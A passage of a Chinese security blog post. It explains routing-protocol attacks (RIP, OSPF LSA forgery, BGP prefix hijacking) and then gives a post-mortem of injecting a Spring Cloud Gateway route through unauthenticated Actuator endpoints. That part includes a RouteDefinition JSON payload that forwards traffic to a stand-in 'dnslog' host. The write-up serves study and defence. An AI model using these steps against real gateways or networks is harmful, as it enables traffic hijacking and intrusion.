border-box;&quot;&gt;维持要求&lt;/strong&gt;：必须持续发送伪造报文；若停止超过180秒，路由将被标记为不可达。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;局限性&lt;/strong&gt;：仅适用于小型扁平网络；跳数&amp;gt;15的路由被忽略；现代网络极少部署纯RIP环境。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;OSPF&lt;/strong&gt;（Open Shortest Path First）&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;协议特性&lt;/strong&gt;：链路状态协议；IP协议号89；支持区域划分；LSA（Link State Advertisement）泛洪构建全局拓扑数据库；可选认证（Null/明文/MD5/SHA）。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;攻击方式&lt;/strong&gt;：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;1.&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;伪造LSA&lt;/strong&gt;：若区域未启用认证或密钥泄露，攻击者构造Type-1（Router LSA）或Type-2（Network LSA），声明与目标网络直连且Cost极低，泛洪至整个区域。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;2.&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;DR/BDR劫持&lt;/strong&gt;：在多路访问网络中，通过伪造更高Router ID或Priority成为指定路由器，垄断LSA生成权。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;生效条件&lt;/strong&gt;：LSA序列号高于当前数据库中的对应条目，且Age未过期。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;维持要求&lt;/strong&gt;：LSA有3600秒MaxAge；攻击者需定期刷新伪造LSA以防老化。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;检测难点&lt;/strong&gt;：合法LSA与伪造LSA格式完全一致；仅能通过序列号异常、拓扑不一致或认证失败日志间接发现。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;BGP&lt;/strong&gt;（Border Gateway Protocol）&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;协议特性&lt;/strong&gt;：路径矢量协议；TCP 179；基于AS_PATH属性选路；支持丰富的策略控制；可选MD5/TCP-AO认证。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;攻击方式&lt;/strong&gt;：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;1.&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;前缀劫持&lt;/strong&gt;：宣告更具体的前缀（如原宣告192.0.2.0/24，攻击者宣告192.0.2.0/25），利用最长前缀匹配原则吸引流量。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;2.&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;AS_PATH伪造&lt;/strong&gt;：缩短AS_PATH长度或插入高偏好AS号，使本AS路径被优选。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;3.&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;会话劫持&lt;/strong&gt;：若TCP MD5密钥泄露或未启用，重置合法BGP会话并接管连接。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;生效条件&lt;/strong&gt;：UPDATE报文经TCP传输且通过（或未启用）认证；接收方本地策略未过滤该前缀。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;影响范围&lt;/strong&gt;：全球互联网或跨AS域；单次成功宣告即可持续生效，无需周期性重发&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 id=&quot;应用层攻击原理以spring-cloud-gateway为例&quot; style=&quot;box-sizing: border-box; font-size: 16px; line-height: 1.5; margin: 10px 0px; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;应用层攻击原理（以Spring Cloud Gateway为例）&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;系统特性&lt;/strong&gt;：基于 Java/Spring 的微服务 API 网关；路由定义存储在内存（或 Redis）中；通过&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Actuator REST API&lt;/code&gt;&amp;nbsp;进行动态管理；&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;默认情况下无认证机制&lt;/strong&gt;。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;攻击方式&lt;/strong&gt;：&lt;/p&gt;&lt;ol style=&quot;box-sizing: border-box; margin-left: 2.5rem; padding-left: 0px; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由注册&lt;/strong&gt;：向&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;POST /actuator/gateway/routes/{id}&lt;/code&gt;&amp;nbsp;端点提交 JSON 格式的&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RouteDefinition&lt;/code&gt;，指定 Predicate（如 Path 匹配）、Filter（如 RewritePath）以及目标 URI。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由刷新&lt;/strong&gt;：调用&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;POST /actuator/gateway/refresh&lt;/code&gt;&amp;nbsp;触发路由表重载，使新定义的路由立即生效。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;缓存清除（可选）&lt;/strong&gt;：执行&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;DELETE /actuator/caches&lt;/code&gt;&amp;nbsp;以清除缓存，确保新路由被正确加载。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;生效条件&lt;/strong&gt;：Actuator 端点可被外部访问且未配置认证；提交的 JSON 格式合法；目标 URI 语法有效。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;维持要求&lt;/strong&gt;：路由定义写入内存后即持久生效，无需像传统路由协议那样周期性重发；但若网关服务重启且路由未持久化到外部存储（如 Redis），则攻击注入的路由会丢失。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;利用约束&lt;/strong&gt;：&lt;/p&gt;&lt;ul style=&quot;box-sizing: border-box; margin-left: 2.5rem; padding-left: 0px; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;Filter 表达式的执行受到沙箱限制（例如&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RedisRouteDefinitionWriter&lt;/code&gt;&amp;nbsp;会禁用 SpEL 表达式）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;要实现 SSRF或 RCE等攻击升级，还依赖于具体的运行时环境以及后端服务的可达性。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;与传统路由协议的关键差异&lt;/strong&gt;：攻击表现为一次性写入、使用 HTTP 作为载体、针对业务语义路由、且系统通常存在隐式的信任边界（默认内网可信）。&lt;/p&gt;&lt;hr style=&quot;box-sizing: border-box; border-top: rgba(0, 0, 0, 0.15); border-right-color: rgba(0, 0, 0, 0.15); border-bottom-color: rgba(0, 0, 0, 0.15); border-left-color: rgba(0, 0, 0, 0.15); margin: 5px 0px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243);&quot;/&gt;&lt;h1 id=&quot;复盘&quot; style=&quot;box-sizing: border-box; font-size: 28px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;复盘&lt;/h1&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;下面就是复盘发现了，首先这里actuator是可以进行访问的，其中有一个&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;actuator/mapping&lt;/code&gt;:&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;描述全部的 URI路径，以及它们和控制器(包含Actuator端点)的映射关系&lt;/strong&gt;&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;说起来之前还没怎么关注过这个，都是&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;env&lt;/code&gt;和&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;heapdump&lt;/code&gt;，在这里面首先便是&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;gataway/refresh&lt;/code&gt;,用于触发网关路由表的运行时&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;重载&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142314814-1510901111.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;尝试调用该端点：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142321626-1051364911.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;可以看到成功返回200，则证明该端点未授权可达，那么下一步可以尝试写入，在之前的&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;mappings&lt;/code&gt;中找到相应端点：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142329371-984252404.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/actuator/gateway/routes/{id}&lt;/code&gt;端点做的事就是把JSON 反序列化成&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RouteDefinition&lt;/code&gt;&amp;nbsp;对象，存进&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RouteDefinitionLocator&lt;/code&gt;（路由表），公开类标准如下：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;&amp;nbsp;&amp;nbsp;public&amp;nbsp;class&amp;nbsp;RouteDefinition&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private&amp;nbsp;String&amp;nbsp;id;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;路由&amp;nbsp;ID
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private&amp;nbsp;URI&amp;nbsp;uri;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;转发目标
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private&amp;nbsp;List&amp;lt;PredicateDefinition&amp;gt;&amp;nbsp;predicates;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;匹配条件
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private&amp;nbsp;List&amp;lt;FilterDefinition&amp;gt;&amp;nbsp;filters;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;过滤器
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private&amp;nbsp;int&amp;nbsp;order;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;优先级
&amp;nbsp;&amp;nbsp;}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;可构造如下通用形式：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;quot;predicates&amp;quot;:&amp;nbsp;[{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;name&amp;quot;:&amp;nbsp;&amp;quot;Path&amp;quot;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;断言工厂名
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;args&amp;quot;:&amp;nbsp;{&amp;nbsp;&amp;quot;_genkey_0&amp;quot;:&amp;nbsp;&amp;quot;/test111/**&amp;quot;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;工厂参数:&amp;nbsp;路径匹配规则
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}],
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;filters&amp;quot;:&amp;nbsp;[],&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;无过滤器,&amp;nbsp;原样转发
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;uri&amp;quot;:&amp;nbsp;&amp;quot;http://dnslog&amp;quot;,&amp;nbsp;&amp;nbsp;//&amp;nbsp;★转发目标&amp;nbsp;=&amp;nbsp;投毒点
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;order&amp;quot;:&amp;nbsp;0
&amp;nbsp;&amp;nbsp;}&lt;/pre&gt;&lt;div style=&quot;box-sizing: border-box; overflow-x: auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;table&gt;&lt;thead style=&quot;box-sizing: border-box;&quot;&gt;&lt;tr style=&quot;box-sizing: border-box;&quot; class=&quot;firstRow&quot;&gt;&lt;th style=&quot;box-sizing: border-box; background-color: rgb(250, 250, 250); border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px; text-align: left;&quot;&gt;字段&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; background-color: rgb(250, 250, 250); border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px; text-align: left;&quot;&gt;类型&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; background-color: rgb(250, 250, 250); border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px; text-align: left;&quot;&gt;默认值&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; background-color: rgb(250, 250, 250); border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px; text-align: left;&quot;&gt;安全相关性&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; background-color: rgb(250, 250, 250); border-color: rgb(192, 192, 